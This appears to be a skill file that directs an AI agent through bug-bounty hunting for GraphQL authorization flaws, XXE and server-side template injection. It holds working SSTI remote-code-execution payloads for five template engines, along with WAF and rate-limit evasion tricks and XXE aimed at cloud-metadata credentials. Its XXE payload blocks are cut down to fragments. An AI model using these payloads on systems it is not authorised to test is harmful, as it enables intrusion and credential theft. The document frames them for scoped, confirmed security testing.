---
name: hunt-injection
description: GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.
---
# Hunt: GraphQL / XXE / SSTI
**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
## Wiki
```
qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCP
```
Hub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: `wiki/payloads/{ssti,xxe,graphql,xslt}.md`.
Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).
---
## GRAPHQL
### Signals
```
/graphql /api/graphql /v1/graphql /query /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundles
```
### Methodology
1. Test introspection:
```bash
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { fields { name } } } }"}'
```
If blocked, try: `{"query":"{ __typename }"}`
2. Use InQL (Burp extension) or graphql-voyager to map schema. Push load-bearing queries/mutations to **Burp Repeater** (`Skill(hunt-burp)` / the Burp MCP) so the operator can replay them.
3. Find REST/GraphQL overlap - resources modifiable via BOTH APIs
4. Test IDOR: replay queries/mutations with another user's object IDs
5. Test authorization: lower-privilege user calling admin mutations
6. Test for persistent privilege after REST revokes access - GraphQL re-grants?
### Evasion
Introspection disabled -> `{"query":"{ __typename }"}` confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.
---
## XXE
### Attack Surface (ranked)
```
/upload /import /parse /convert /saml/acs /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload features
```
Rank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to `Content-Type: application/xml`.
### Classic File Read
```xml
]>
&xxe;
```
### Blind OOB (when no reflection)
```xml
%xxe;
]>
test
```
### SVG Upload XXE
```xml
]>
```
### XXE -> SSRF
```xml
```
### Evasion
XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a `Content-Type: application/xml` swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through `php://filter/convert.base64-encode/resource=` for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.
---
## SSTI
### Detection Probes (try all - different engines respond to different syntax)
```
{{7*7}} -> 49 = Jinja2 / Twig
${7*7} -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako
*{7*7} -> 49 = Spring Thymeleaf
{{7*'7'}} -> 7777777 = Jinja2 (not Twig)
```
### RCE Payloads (after fingerprinting engine)
```python
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# ERB (Ruby)
<%= `id` %>
# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}
```
Prove RCE with a harmless command (`id` / `whoami`) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.
### Where to Test (ranked)
Highest yield first: PDF/invoice generators and email-template fields (server-side render by design), then name/bio/description fields, invoice names, search queries reflected in results, URL path parameters, and HTTP headers reflected in responses.
### Evasion
`{{7*7}}` filtered or returned literally -> cycle every engine syntax above, then bypass keyword filters via attribute-access variants (`request["application"]` vs `request.application`), string concatenation to rebuild blocked names, and hex/unicode escapes. WAF on `__class__` -> `|attr('__class__')`.
---
## Chaining
- **SSTI -> RCE.** Evaluation confirmed -> escalate to command execution with the engine payload above (safe command first). For sandbox-escape gadget chains and OOB-blind RCE, hand off to `hunt-rce`.
- **XXE -> SSRF / file read.** Point the external entity at `http://169.254.169.254/...` for cloud metadata or an internal service; for the full SSRF surface (redirect bypass, protocol smuggling, Collaborator-gated blind) hand off to `hunt-ssrf`. File read escalates to source/config disclosure and, through those, to further creds.
- **GraphQL IDOR / auth bypass -> object enumeration.** Nested-resolver and `node(id:)` traversal are IDOR - hand off to `hunt-idor` (two-account method) or `hunt-api` (BOLA/BFLA, mass assignment, batching).
## Confirmation gate
Per `hunt-core`. Reproduce every claim in a clean session before scaffolding a FIND; a response body on its own is not proof.
**SSTI - NOT confirmation:** a `{{7*7}}` (or `${7*7}` / `<%= 7*7 %>`) reflected back *literally* as `{{7*7}}`; an error naming the template engine; input echoed unchanged.
**SSTI - IS confirmation:** the expression is *evaluated* - `{{7*7}}` renders `49`, `{{7*'7'}}` renders `7777777`, or a rendered object comes back (e.g. a dumped `config` object). RCE is confirmed only when a safe command (`id` / `whoami`) returns its real output.
**XXE - NOT confirmation:** a parser error, a `500`, or "entity not allowed" - these prove XML is parsed, not that the entity resolved.
**XXE - IS confirmation:** the external entity resolves to real content - `/etc/passwd` (or metadata creds) reflected in the response, OR an out-of-band callback.
**Blind XXE / blind SSTI need an OOB HIT.** When you plant a blind/OOB payload (parameter-entity XXE, or SSTI with no reflected sink), fire it at your own interactsh/Collaborator listener and append a row to `targets//oob.md`:
```
| | | xxe | | waiting | |
```
(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook flips the row waiting -> HIT on the incoming callback and SessionStart surfaces HITs; that HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XXE (or blind SSTI) without a HIT row.
## Severity
| Confirmed | Severity |
|---|---|
| SSTI -> RCE | critical |
| SSTI, sandboxed (no RCE) | medium |
| XXE file read | high (critical if cloud-metadata creds retrieved) |
| XXE -> SSRF | high |
| GraphQL IDOR / auth bypass | high |
**Distill when confirmed** (GENERIC, no client host): `python3 scripts/wiki-stage.py --kind technique --slug --target-page techniques/web/ssti.md` (XXE -> `techniques/web/xxe.md`; GraphQL -> `techniques/web/graphql-attacks.md`).
## Deadends
```
Append: - [ ] XXE on -- XML rejected (JSON-only), SVG sanitized, parameter entities blocked;
SSTI -- {{7*7}} literal across all engines; GraphQL -- introspection off, no field suggestions
```
Record what you tried, not just that it failed. The next pass needs the boundary.